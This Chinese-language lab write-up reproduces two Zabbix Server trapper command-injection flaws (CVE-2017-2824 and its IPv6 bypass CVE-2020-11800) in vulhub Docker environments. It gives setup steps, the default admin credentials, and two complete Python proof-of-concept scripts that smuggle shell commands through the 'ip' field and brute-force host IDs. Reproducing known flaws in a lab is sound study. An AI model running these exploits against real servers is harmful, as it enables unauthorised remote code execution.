Zabbix Server trapper两个命令注入漏洞（CVE-2017-2824和CVE-2020-11800）

声明

好好学习，天天向上

CVE-2017-2824

漏洞描述

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞，特定的数据包可造成命令注入，进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求，从而触发漏洞。

影响范围

• Zabbix 2.4.7 - 2.4.8r1

复现过程

这里使用3.0.3版本

使用vulhub

/app/vulhub-master/zabbix/CVE-2017-2824

使用docker启动

docker-compose build
docker-compose up -d

命令执行后，执行docker-compose ps查看容器是否全部成功启动，如果没有，可以尝试重新执行docker-compose up -d。

环境启动后，访问

http://192.168.31.139:8080

利用该漏洞，服务端开启了自动注册功能，所以我们先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix登录后台，进入Configuration->Actions，将Event source调整为Auto registration，然后点击Create action，创建一个Action，名字随意：

第三个标签页，创建一个Operation，type是“Add Host”：

保存。这样就开启了自动注册功能，攻击者可以将自己的服务器注册为Agent。

使用poc，创建cve-2017-2824.py，内容如下，IP自行修改

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/cve-2017-2824"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

执行，成功率是真的低，我中途还删掉过镜像，重新docker-compose up -d了呢，成功了这一下，替换文件名下一次就没再成功过了

python cve-2017-2824.py 192.168.31.139

关闭镜像（每次用完后关闭）

docker-compose down

CVE-2020-11800

漏洞描述

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。在CVE-2017-2824中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。

影响范围

• Zabbix 3.2（支持终止）
• Zabbix 3.0至3.0.30
• Zabbix 2.2.18-2.2.x（支持终止）

复现过程

这里使用3.0.3版本

使用vulhub

/app/vulhub-master/zabbix/CVE-2020-11800

使用docker启动

docker-compose build
docker-compose up -d

环境启动后，访问

http://192.168.31.139:8080

命令执行后，执行docker-compose ps查看容器是否全部成功启动，如果没有，可以尝试重新执行docker-compose up -d。

利用该漏洞，需要你服务端开启了自动注册功能，开启方法请参考CVE-2017-2824

创建cve-2020-11800.py，内容如下

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/cve-2020-11800"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

执行

python3 cve-2020-11800.py 192.168.31.139

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down